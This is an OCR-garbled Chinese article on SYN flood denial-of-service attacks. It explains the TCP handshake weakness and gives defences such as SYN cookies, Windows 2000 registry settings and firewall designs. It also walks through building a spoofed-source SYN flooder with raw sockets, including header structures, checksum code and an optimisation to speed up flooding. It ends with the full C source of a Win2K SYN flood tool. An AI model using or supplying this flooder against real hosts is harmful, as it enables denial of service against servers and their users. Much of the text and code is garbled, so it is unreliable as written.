SYN Flood攻击的基本原理及防御.docx
SYNF100d攻击的基本原理及防卫文章来泡:第部分SYNFkXXI的珞本朦理SYNFHXl是'的坡流行的DOS(拒绝服务攻击)与DDOS分布式拒绝服务攻击)的方式之一,这是一栉利用TCP赤仪缺陷,发送大M伪造的TCP连接孱求,从而使得被攻击方资源耗尽(CPU满负荷成内存不足)的攻击方式.9«白这总攻击的基本“,还是*从TCP卸Ht立的过正Ia先说IBl道,T(P与IDp不周,它是若于建畏的,也IK是置,为了在务和客户之内传送TcP敷«.4先皿一仙电,Hcp»»,TSH的行加馆是慈祥的,Ir先.如I(客户Ii)发送T含SYN标记的TCPit文,SYNR同步(Synchronic),内步报文会指明客户运用的口以及<P建校的初始序号I其次步,务在收“客户的S、IR文后,将返回一个SYN+ACK的锻文,我示客户的求被接受.同时TCP序号W-.ACK(Acknov.l«l8«<»«.t).第三步,客户也建回一个认聂文c给iHM,M禅TCP序界号Ittl,到ItfTcP建接完以I:的连接过程在TCP协议中被称为:次掷F(Thtee-wayHarxh1ke>.阿国就出在TCP连接的三次握手中,©议川户向It务青发送J'SYN报支屈R然也机火拉峻.俄久旧务器“发出SYN+ACK应答泰文后是无法收到户篇的ACK报文的馀:次握手无法完成),这种状况卜服务雅端一般公圾试(再次发送SYN+ACK给客户竭)井等待段时间后丢弃这个未完成的连掖,这段时间的K收我们称为SYNTUnCo5.收来说这个时间是分科的酸小皴(大约为50秒分钟),个用户出现异样与JBUK务器的一个观程等恃I分仲并不是什么IH大的问信.但假如有-4延息的攻击籽大At隈拟这种状况,班务器端将为维护个特别大的半江接列表而消耗特别多的济湖-数以万计的中途«.即使是渝沽的保存并遍历也会消耗特别?的CPU时间和内存.何况还要不Si对这个列中的【P进行SYNMCK的呱试.力实上胃如服务器的TCP,IP栈不然很大.堆终的结梁往往是推栈溢出明酒即使服务;S湍的系统足舔强大.咽务然端也将tJ处理攻击伪造的TCP连接W求而无箕理昧客户的正常恳求(终白叁户福的正然思求比率特别之小),此时从正常客户的角度沓来,服务器失去响A.这种状况我们移作I限务器上受到了SYNFloal攻击<SYN洪水攻击)。从防卫角度来说,在几种徜洁的算决方法,第一冷JUHSSY、TinKOUt时同,由于SYNFlgd攻击的效果取淡卜服务器上保持的SYN半连接数.这个的=SYNJi击的嫉度XSYNTimeoui,所以通过缩加从接收到SYN报文到确定这个报文无牧并工弃设连接的时间.例如设置为20检以下(过低的SYNTimeoul设也可能会影响客户的正常访T),可以成倍的降低眼务器的负筠.其次*方法是3SYMCgMe.就是给柘个恳求连接的IP地安排个Cgkic.假如树时间内连续受到某个IP的电红SYN报文威认定是受到攻击以后从这个IP地址米的包会被一报片弃.'½上述的两种方法只能应付比较原始的SYNFlcod攻击,缩短SYNTimcoui时间仅在对方攻击顿度不施的状况卜生效.SYNCookiC史依Ifcr对方运用我实的IP地址,IKtII攻击行以改J”杪的速收发送SYN报文.同时利用SOCK_RAW两机仪写IP报文中的源抱址.以上的方法将意无用武之地.其次部份SYNFloodcri«PWit下面我们来分析SYNHoodcr的程序实现,fir.我归来看下TCP报文的格式:0123456024680246802468024680246802468024IP首都ITCPKfUITCPftffiR图-TCP报攵姑构如上图所示,个TCP报文由个部分构成;20字节的IP首部.20字节的TCP首都1.j不定长的数据段.(实际操作时川健会有可逸的IP选项.这种状况卜TCP西部向后版it由于我£!是发送个SYN伯号,并不传递任何数据.所以TCP数据或为空.TCP#部的数据结构为:0123Ol234567H9OI2345678901234567S90I2十六位混指口号I十六位H标科U号I+.+.+.+.+.44.+-4T+4+.+.+f.+.+.+.4÷.-I三十二位序列号I*4*4*4-÷*-÷4-÷-4÷->-÷-÷-4÷*三十二位珀认号.f4+.4fT*+T4.+>.4f*+.*f+6444I四位IlAPRSFIIftSfI六位保宙位IRICIslSIYIIl卜六位窗口大小II长度IIGIKIHfTINlNlI+.4.+.+T+.+.4¼T.+.J4+.+-M.+.+.+十六位校收和I十六lit依指的I+÷>Tf选项(若芍)数据(若有)图:TCP汴窜陪构依据TCP报文格大,我们定义个拮构TcP_HEADERM去存放TCP泞部:typedefMroctCPbdJ1.SHORlii>j:l6snslUSHORTikdpon;力16位目的端口UiUtgnedM(h_>cq;32位序列5unsignedimth.ack;32位)认号unsignedCtKirlilenvs:M位甘前长度+6位保愤字中的4位unsignedcharth.flag;/2位保用字+6位标记位1.SHORTUiwin:"16位窗UA:小USHORTth.sm;16位校验和1.SHORlUiuxp;16位策念BdKwl移域)TCP_HEADER;通过以正确的数据填充这个咕构并将TcP_HEADER.thbg赋值为2(:选射的OooOa我们饯制造个SYN的TCP报文,通过大Iit发送这个报文可以实现SYNR1XXl的效果,但是为了进行IP欺妫从而JSAlcl.也为了会诲服务必的SYNCgkie枚ff还须要Itft时IP首部进行携作I012345678901234567890123456789012I板本I长度I八位服务类型I十六位怠长收I十六位标识I标记I十三位片伸移II八位生存时间I八位协议I十六位首部校咬和II三十二位源IP地址II三十二位目的Ip地址I44.+f4+*.>44*4*4f*4*.4f4Tv.4.+4I选项(若有)If.-*.f4*44+*4*4f*-*+T-+*÷>÷4+>I数据I.44.4.4-.4v.4.4.-÷4-÷.÷-4H-*-4-*.-4-÷.-÷-÷.4-÷-ra三ip首都结构同样定义一个IPH1.ADhR来存放IP行部cypcdcfMmcl_iphdr(unsignedcharh_vcrkn;/4位首滞长度÷4IP版本号UfKignedchark>¼:M位服务类里TOSunsignedshorttoul.lcn:/16位总长度(字节unsignedHXKt>denl;/16位标识unsignedsbo11frag-und-flags:3位标记位Uititgnedchartlk/据位生存时间TT1.unsignedcharro<o:"8位.ffr设号(TCPUDP或其他)unsignedslxtcevksun:"16(?IPft田;校雅和unsignediMsource!P;"32(iIP地址unsignedtfde%UP:7/32位H的JP地址".HEADER;然后通过JkickRaw=WSASgkUAplNET.SOCKRAW.lPPR(yi<)RAW.N1.1.I.O.WSAH.AG.OVhR1.AITliDlh建立一原始一接口由于我们的IP徵地址是的地的.所以不能杀电第统梢我们计算IP校脸和,我们和在在MrtMxrkiipl中设附IPHDRINe1.告知系统自己填充W仃部井自已计力校验和:flAg=TRUE;SeUoCkOPMSoCkRaWjpPRoTO_IPJPaJfDlUNC1.(dar/nq"izcoinOXIP检蛉和的计算方法是,首先将IP首部的校蛉和字段设为0HP-HEADERchaksum=O).然后计口整个IPH部(包括这项)的,进M反码的和.个标戕的枚括和函敷如下所示BVSHORTChcckMinXUSHORT*bufTcnimsize)(unvignalIonjcksum=0:while(sizc>1)cksum+=4bllcr4+;size-=Sizcof(USHORT):iflsizc)Cksum+=*(UCHAR*)Uffcr;VkXUm二(cksum»I6>*(cksum&Oxf!10;CkMJm÷=(cksm»I6);return(USHORTKYkXumX)这个济数并没有经过任何的优化,由于校验和函数是TeFlP出取中被讽Mitt为自致之一,所以帙设来,在实现TCPyIP模时,公依据操件系统对校找和函数边行优化。TCP讨部检验和与DP首都校验和的计算方法相同.在程序中运用同一个函数来计算.须要用点的是,由于TCP首部中不包含海地址马n标地址等信且,为了保适TCP校验的花攻性,在进行TCP校检和的计算时.须要叱加个TCP伪泞部的校验机定义如下Istruct(unsignedInnjesaddr;德地始unsignedlangdaddr;HW的地址ch;Irmbz;“H1.空charpeel;"I办议类熨unsignedshortIcpl;OTcP长度)pdjcadcr;然后我。带这两个字段复制到同一个援冲区SendBuf中并计算TCP校验和:nny<ScikiBuf.&PSjlC3改,NZoORPS1.hCaden);mcmq)yiSendBuf*xizcoRp!<d_he;ulrr>,&lcp_he;iderizcof(tcp_hcinicr)KICPjICadC1.IhJUin:CbCCkMIMUSHORT*FScndBufszcof<psd_hc3der)*sizcofticp-he3der):ilffIP校!和的时帙不须要包括TCP伪首部:mcmcpy<SendBuf.&iPJKiMkr,4ZCOniP-header):ne11cy(SelIdBUHizeoRip_he3der)&lcp_header.、iza”(lq)_hedd"»ip_hCadCrebCCkWm=CbCCksUmUUSHORT*)SendBuf,sizcof(ip-bcodcr)÷sizcof(tcp-bcadcr)k再将计算过校验和的IP苜部与TCP首部复制到同一个暧冲区中就可以干腌发送r:mcnpyiSendBuftAip_hcadCT,siz<»f(ip_hcudcr»MdkKS<>ckRaw<:xlBufk3<asze.0.(slr-l%uckaddr*>lMddrjzeuf(DcMAddr):闪为整个TCP报文中的全前部分祐是我们自己写入的(操作系统不会妣任何干涉),所以我们可以在IP汴部中故?I的机的滋IP地址,恨如伪造的源IP地址的坨有人运用,他在接收到根分SS的SYN+ACK报文府会发送个RST报文(标记位为OO(X)Ol00).通如收务潜指不免要等待个无效的理接,可是假如这个伪造IP井汉“冲沱/1:住何的主机匕小IMHr忖设备去通知主机该连接触无效的(这正是TCP协议的WWV,在机将不断皿试H到SYN11EeHit时向后才能丢弁这个无效的T连接.所以为攻击者运用主机分布很稀疏的IP地址段进行伪装IP的SYNFlood攻J;时,服务得主机承受的负荷公相当的高,依据测试.台Plll55OMHz*l28MBH00Mb的机运用经过初步优化的SYNFloodw印序可以以16.0(»包/秒的速度发送TCPSYN报文.这样的攻击力己经足以拖垮人部分WEB职务;K/.略微动动依舫我们就会发觉,想对SYNF100dCr程序进行优化是很冏洁的,从程序构架束Yb攻击时循环内的代码I:要是进行校S和计尊号屐冲仅的埴充.般的思路是极高校防和计算的速5我苴至见过川Ir筑代旧铜马的校验和函数.卡实上.存另外一个变通的方法可以轻桧实现优化而又不须要高深的编程技巧和教学学问,(的耳说吧,我数学比较整:P),我们奴探讨了两个不同派地址的TCPSYN报文后发觉,两个报文的大窸分字段相同<比如目的地址,协议衿等),只有海地址和校!和不同(假如为了命藏.源惴口也可以行改攵,但足并不影响我打口法优化的思路).假如我们M先计口好大城的源地校验和的对应关系农(假如耳他的字段行演变也可以加入这个去).等计R完毕/攻击程序糠只须要小纯的组合理冲区并发送<用指计案干脆操作缓冲区的特定位置.从先H算好的对应关系表中读出数据,杓获设冲区相应字段,这种徜洁的工作完全取决于系统发送IP包的迪度.与程序的效率没在任何关东,这样.flPttCPU主顿较低的主机也徒快速的发送大城TCPSYN攻击包.假加号虔到奴绅区拼接的时间.3E可以定义一个很大的缓冲区数折.填充完毕后内发送(轮魔给这种方法想了一个很贴切的比方:火筋炮装弹虽燃很慢,但是一旦炮舛Ijft了以后就可以连发妩烈地放射了:).第那分SYNHWXJ攻击的Kl测与防P初探对jSYNFlood攻击.H向尚没有很好的监测和防卫方法,不过依珈廉统管FHM熟识攻击方法和系统柒ft.通过一系列的设定,也能从。定程度上降嵌放攻击系统的负荷.减轻负面的影响.(这小心我撰写本文的主要目的)般来说,假加个系统(或I:机)免荷究然上升甚至失去响应,iciJNctsiM吮咐能行到大足SYh1.RCVD的半连接(数J½>500或占总连接数的10%以上),可以认定.这个系统(或主机)追到了SYNFlcxxi攻击.遭到SYNFlood攻击E.首先要锹的是取证.通过NaSlaI-n-ptcpXeaUh.R记录目前全部TCP连接状毒足必Q的.做加夕嗔探58.或%T卬DUmP之类的工具.记求TCPSYN报文的企前细微环IY也右助T以后连任和防I1.很妥记录的字段有:源地址、IP首都中的标识、TCP昔IIC中的扉列号、TT1.攻等,这些信息虽燃很可能是攻击者伪造的,但是用来分析攻击?!的心理犹密和攻击程序也不无彷助,特殊是TT1.值.假如大It的攻击包好像来自不同的IP但是TT1.值如树同.我的往往能推断出攻击者与我们之间的路lSHi.至少也可以通过过滤待定rn.值的投文降低被攻击系统的负荷(在:这种状况下til位5攻击报文不同的用户就可以复原正常访问)前面色经提到可以通过瑞如SYNTimeout时间和设皆SYNCookie来进行SYN或ib及护.对于WinKX)O系统.汪可以H过修改注册衣降低SYNFkIOd的危A.在:注璐表中作如下改动:n.打开rcgiit.找到HKEY_1.oCA1._MACHlNE'S、Zcm'CuiwntContmlScCScrViCCSVRPiP'Paramcicc增加一个SynAU3dd>11>hxl的键依类里为REG_DVORD.取值器用足(2.这个的确定/系统受到SYN攻击时玄行的爱护措施,包括削减系统SYN-ACK的求试的次SC等,欺认仅是0<没有任何爱护措施,举荐设况是2增加一个TCPMaxH;IHOPen的设值.类型为REt1.DWORD.取Ui范根此IaMhIH.这个位处系统允许同时打开的华旌接,默认状况下WlN2KPRO和SERVER是100,ADVANCEDSERVER½5<X>.这个值很晚螳定,取决于服务!ftTCP负荷的状况和可能受到的攻击理吱,详细的21须要经过试发才能确定。增加一个TwMinHaIw)2RMed的说(fi.类里为REG_DWORD.取位范所此MMJXFFtF.UiA状况下WIN2KPRO和SERVER是80.ADVANCEDSERVER足400,这个位确定在什么状况下系统会打开SYN攻击爱护,我们来分析*Win2000的SYN攻击爱护机犯正常状况卜Win2K时TCP连接的.次畀手仃一个常现的设置,包括SYNTimeUt时间.SYN-ACK的,H试次数和SYN报文从路由器到系统用到Winsock的5£时等.这个常规设置是计对系统性僮进行优化的(平安和性傥往往相互冲突)所以可以蛤用户供应使利快捷的服务;力服务器受到攻击,SYN节连接的数砧超过TCPMaMHtoPCnReEN的设?1.系统会认为自己受到了SYNFl(XE攻击.此时设州在SynAuaCkPro«”过仪中的选题起先作用,SYNTimcoui时间被Ntfl.SYN-AeK的小试次数削N.系统也会自动时缓冲囚中的报文进行Ji时.诩开对TCPnP堆极金成过大的冲击.力图将攻击危告MfjH饪:假如攻击强度不厮场大.超过/TcpMaxHaHOpen(fi.此时系统已经不便供应正箔的服务了,见;fi要的是保证系统不会崩溃,所以系统将会丢弃任何超出TCPMa1.XHAItDpe值甩用的SYN报文(应当班运用例机丢包流略),保该系统的自定性.对于须要进行SYN攻击爰护的系修,我们可以测改预料卜访问峰值时期的*连接打开量.以其作为替考设定TCPMaAHaHOpcnREi”的债(保留忖定的余业).然后再以TcPMaXHaItOPenREiCd的1.25倍作为TCpMaXHUlfloPCT力,速样可以以大限度地发挥WIN2K(为的SYN攻击爱护机制.通过设置注刑衣防把SYNFhHXl攻击.栗纳的足一挨打一的策略.无论系统加何强人.始缘不能光承挨打支挂下去,除了挨打之外,退让也是一种I匕较a效的方法.退让饭叨足基于SYNFklOd攻击代码的个统解,我们用新来分析下SYNFklod攻击存的充种ISYNFkKXl"中仃两种攻击方式,基于IP的和些F域名的前者林攻击者门已进行域名解析并将IPl传连蛤攻击程田,后者是攻击程序自动透行域化杆折,但是它IfJ芍一点是相同的,就是一旦攻击起先,格不会再避行域名解析,我力的切入点正是这阻:假改由服务器在受到SYNFIgd攻击后快速更换自己的IP地JM那么攻击者仍在不断攻击的只是个空的IP地址,并没有任何主机.而防卫方只卷格DNS斛析更改到新的IP地址就能在假如的时间内(取决于DNS的剧领时间JlKUU户通过域名进行的正常访同.为了迷出攻击者,我们探至可以放置台“然牲乘务器让攻击者油就于攻击的“效KF由于DNS缓冲的燎由.只要攻击者的阅it器不收起,他访何俯仍旧是原先的IP地址>,同样的缘由.在众多的仍领均衢架构中.延DNS解析的领我均衡木。就蝴(jXSYNH<*h1的免疫力,基于DNSM折的负我均衡便将用户的恩来安排到不同【P的服务器在机上,攻击者攻击的仅久只是我中一白服务器,虽小说攻击帝也能不Wi去进行DNSla求从而打破这种“祖止噬略.怛是来这样增加了攻击竹的成本.来过当的DNS8求可以帮助我们追杳攻ih者的我正睬斑(DNS总求不同jSYN攻击.是须要返回数薪的,所以故址进行IP伪小).对丁防火培冬设.防卫SYNH仅1攻击的方法取决防火墙工作的堪木朦理.般说来.防火墙可以工作在TCPEZJ.1IP层之下,工作在TCP层之上的防火堵称为网美型防火墙.网关型防火墙,JHS.客户机之间的关系如卜图所示I外部TCP连推内部TCP连接I客户机nM防火JSJ=>IH务器I)I:图所示.客户机卬H务器之向并没仃真正的TCP连接.客户机与机务制之间的全拓数粼久换都处通过防火墙代理的,外部的DNS解析也同样指向防火煨,所以出如网站被攻击Kii正受到攻击的是防火墙,这种防火堆的优点是已定性好,抗打击实力强,但是因为全部的TCP报文都须要处过防火墙转发.所以效率比较低由卜客户机并不干腌与服务拓建立连接,在TCP连楂没有完成时防火技不会去向后台的服务器也立新的TCP连接.所以攻击者无法聘过防火墙干施攻击后台服务器.只瞿防火埸本身做的足解强壮,这种架构可以反抗相当强慢的SYN11l攻击,但是由于防火堵实际建,£的TCP正接效为用户连推数的两倍(防火墙两端都须要建立TCP连接.同时又代理全AJ的来门客户瑞的TCP总求和数据化送.在京统动向端较大时,防火埴自身的依荷会比较痛,所以这种架构并不能遭用十大型网站.(我爆觉.对这样的防火墙架构.运用TeP-STATE攻击的计仑相当1效:)工作在IP层或【P房之下的防火墙(路由51防火烧)工力俅理盯所不同.它与服务需,客户机的关冢如下图所示,I防火堵I数据包假以转发客户¢1=三三三三三三三三i三三三三三三三三三三三三三=三=>HITcP连接卷户机干花与服务器进行TCP连接,防火Jfi起的是部由器的作用,它极米全部通过的包井进行过池,通过过池的包被转发给服分擀,外部的DNS解析也Iaini向服器,这种防火墙的优点见效率高,可以适应100Mbg-IGbPS的流届.似是这种劭火埃代加配置不当,不仅可以让攻击者糖过防火墙魇攻击内部服务器接更有可饯放大攻击的强度,导致整个系统喇温.在这两种基本模型之外,芍一种新的防火堆模型,我个人认为还是比较奇妙的,它咏中了两种防火墙的优势,这种防火墙的工作原理加下所小'第一阶段,客户机Ii求与防火WiU!寸江接:SYNSYN+ACKACK【客户机卜-X防火塔I=防火Jal客户机I=客户机)【防火墙I其次阶段,防火墙伪装或客户机与后行的服务器建立在接防火墙)=服务器ITCPiia第渝段,之后全部从客户机来的TCP报女防火墙都Hxi技发的后价的故务器防火墙转发I客户机K=三=>股务器TCP连接这种结构吸取了上两种防火墙的优点,原能完全限制全部的SYN报文,又不须要对全部的TCP数卷报文进行代理,电一种两全其父的方法.近来W外和IU内的一些防火墙厂商起先探讳带宽限制技术,假如能真峪限制、安排俗室.*能很大程度上防Il绝大多数的拒绝眩务攻击,我们还是找H以待吧,w.:Win20>卜的SYNFlgd程序Sfl1.iim卜Zakai埼”的SYNAaxlcr编译环境:VCl6仇纲评时为要包含w,2_32Jib弁SYNFloodcrForWin2KbySluxgunftUTHISPROGRAMISMODIFIEDFROMA1.INUXVERSIONBYZakathHTHANX1.iOflHookPORPROGRAMOPTIMIZATIONRclecl:(2<X)1.4Author:Sho<gun)Homepage:"IlT.Xici.Nc,'WWWPatchingNclI"include<wins<k2.h>CllKIe<Ws2lcpipJ>/include<stdk>.h>#UlCliKk<Nldlib.h>*defineSEQOx28376839*<fcncSYN_DESTJP,l92.16S.15.254)W¾ijftIP*deneFAKEJP*10.168J50.1-伪装IP的起始曲.木科序的伪MIPftIffi个B类网段*dc11cSTTS-FH.FD(hHTI:"福映返同做IyPCdCfMmcl_iphclrr定义IP首解Iunsignedcharh_Ycrlen;涧位付部氏度,4位IP版本2usigdCharIg/78位叔务类型ToSun%igrdshortto<aljcn;川6位总长懂字节)unsigM(lshodidem:16位标识unsignedshortfnig_anci_flag5;/3位标id位UnSiWMdCharH:8位生存时间Tr1.unsignedClwrproto;/郊位协议(TCRUDP或其他)unsigdsoCbCCkMm./16位IP6部校Sft和unsignedintMwrveIP;32位泡IP地址cycdefMmciJCPbdf(USHoRT1.I;USHORTth.dport;unsignedincth_scq;unsigfdi11tthjck;unsignedchar(h_lcnrc*»:unsignedcharlh_flag;USHORT<h_wm;USHORTunsigdImdcMlP;32位U的IP地址JIPHEADER:MnH定义TCP伪首都(unsignedl<mg%addr;*SJJ½itunsignedlongdaddr;Il的I:charnbz:CharP(d:”协议类型unsigned、horttcpl;"TCP长度)psd_hcadcr;定义TCPttfK16位灌端门I6位目的痂口32位序丹号/32傅确认号ties陆Krtl6位保宙字的位标id位WI6Ul4'/16皎股和USHORTih_mp:/16位膜急故寓物移量TCPHIiADER:.'OcckSuinnI算校验和的;必数USHORTChccksunKUSHORT*bu11cr.in(size)(unsignedlongCkSUm=O:whik(stze>)CkMlm+=*bffcr:乂然-=SizeoftUSHOR11;»ifTxirc)(cksum=t(UCHAR*)txiffcr:cksun三<cksum>>16)(cksum&OxfIYfi;CkMIrn*=(CkAUnl»16);vturn(USHORT-<ksum);)SynFl<i主函t(.iMnuin()intdatasizcwE11x)fC,odcxHMcr.flag.FukclpNci.FakclpHoM;iniTi11>ef>ui=2<XJ0.StfdSEQ);durScndBufl12S=0;clnrRecvBut65535=(0hWSADATAaDau;S(XrKhTSXARaW=(SCCKtT)NU1.1.:structSockuddrJnDcMAddr;IPHIiADERpj>eak:TCP.HEADERICPJKa改匚/MtfiftSOCK-RAWif(Eno<OxJc=WSAS<anup<MAKEWORDl2.l),&wsaD«u)!=0)|fprintf(stdcrWSAStartupfaili:%<f,",rnrCodc);Exiipnxxjss(STATUSeFAI1.ED):ISockRaw=WSASock«(AF_lNET5OCK_RAW.|ppROTO_RAW.NU1.1.0.WSA_F1.AG_OVER1.APPED):ifS«ckRaw=INVA1D_S0CKKnifiMf(sdcWSASockct()failed:cJvd,nWSAGet1.asiEnvit»:ExilP11xxsSTATUS.FAIIJD);IOajj=TRUE;设JffIP-HDRlNC1.以自己培充IP西部<x<xic=5rtwkojM(S<kRaw.lPPROTO.IPJP.HDRINCUchar*11as.5izcnHin<);lf(E11rCodc=SOCKET.ERROR)PrinlfCSaIP.HDR1NC1.E11w!>n*);-iry<"设置发送超时ErmreDde:MMMXrk甲NSccWUWsO1._SoCKET.SO_$NDTIMEo<ch3f*>Tin*为1阂3*ImdOUI”;iftE(rorCodc=SOCKET_ERROR)|rinlf<%kkr.,'bailedIC耀lsedTmiNKH:Rkhn=WSAGn1.aMEnud):_JeaVU)memsct(:DesiAddr.Osizcof<DcMAddr);DtfSiAddrAinhiniIy=AbJNET;=iiKl_uddnSYN_DESTP);Fakcl(>>Jcl=inet_»WrtI:AKEJPj;FakelHos(-Hol)l<FakcIpNei);“填充IP百那ijakr.h-vcrlen=<4<<4sizcof<ip_he3dcr>rsizcoftunsigdlong):高Pl位IP版本,3低四位苜部长度ip_bca加UOu1.IenSnMSiZCofaP_HEADER)rizcof(TCP_HEADER止/16位总K收字节)ip_bc;idcr.iifcnt=k"16位标Mipjadcr.frag-,and.flagsiX);“3位标记位ip_bc;idcr.Ul=l28;'H位生存时间T11.ipj>cak(.<vto=IPPROTO.TCP./(«位协议(TCP.UDP)ip_bc;idcr.ch(xksu!n=O;"g位IP首部校的利心2位激IP地址iJak(.sourcclP-honhFakclH<>si÷ScndSEQ>ip_»Kiidcr.deNllP=in«K_aAJfXSYN_DEST_IP>填充TCP出部lcp-header.th-.%pwl=ht<>nMTXKM);(c-hcadcr.th-dor-hans(84J80);lcp_hc;ider.th_%cq=hk»nl<SEQ÷ScixlSIiQI;icp_hcadcr.th_ack=O;tcphc11der4hJcnrc5=(sizco11TCPJHEADER)4<<40);tcp.hcadcr.tvag=2lcp_he;idcr.th_win=htons(I63S4);tcp_hcadcr.ih_utp=O;“32位目的IP地址/礴潴口号目的端口号/,'SYN序列号/ACK序列号为0“TCP长度和保留位/SYN标记窗口大小*偏移tcp_hcadcr.th_5um=0;般脸和“坨充TCP的首器(川广计嫌校依和.并不我正发送)“目的地址pv<l_h«K!cr.Mxklr=ip_h<»dcr.MXirveIP:psd_hodcr.daddr=ip_h<idcr.dcMlP;p¼1.hcdcr.mbr=(>PU1.hN"picMPPROTOJCP:出议类举11CP泞部长度WhiIc(I)(每发送10.240个报文怆出个标示符for(c<xnter=Oounter<1024。;COUECnHiftSc>dSEQ=65536)ScndSEQ=I:序列号热环/SIAlPfiffflip_hCad"checksum=0:/16fitIP西部校验和ip_hcnder.MwrvclP=hto<il(FakclpH0sl+ScnciSEQl;"32Kf说IP地址更改TCP酋期tq>.bca<fcr,th.xcq=htonl(SEQ*ScndSfQ);"SYN序列号ICPJIcadcuIusum=O:校的和/KATCPPvcwinHeaderKdjleader3dr=ipjadcr.souRxlP;“il宽TCP校验和,H优校给和时须要包括TCPAC岫hsdcrmcnKp>(ScndBuf&psd_hcadccsizcof(psd_hcAdcD);mcmcpjiScndBuf4xiz«>npd_he;ulcr).&U:p_hc;iderizcof(tcp_bciidcr)kicpc。改UhJunAehCekSwnUUSHoRTt>ScndBufjtzcof(pul_hcadcr)*sizcoftiq>_leader);"计JnP校验和ncn>,(ScndBufiJeder.MZ4X>ftip.hcadcr):mcmcp>lScndBuf4siz©c>nip_hcjK!cr).<fctcp_heiclcT.Mrco(tcp_he;ulcr)>incms«(SendBufsizooftip_hc3der>*sizcoftcp_header).0.4);<bta5izc=xizcof(ip.hc(lcr)÷xizcoRtq)-hcjlcr);i.hc3dcr.chccksum=clckum(<USH0RTt)ScndBuf.dauisizc>:填充发送缓冲区incnKp)'(ScndBuf.&ip_hc3def.sizcoftip_hcadcr);他送TCP报文Err<xC<xJc=scndto(S<kRaw.SendBuf.dausizc.O.(structSocknddr*)ADcMAddr.HtzeoflDeaAddr»ifqEmHCodc=SOCKET-ERRORJPriMfC11ScxJError%dn*,Gct1.astEor();WEmloft<wWEndOfWhilcWEndHlry-finally(if(SockRaw»=INVA1.lD_SoCKEnd。箱VKkCt(SnCkRilW);WSACIeanupi):rturnO;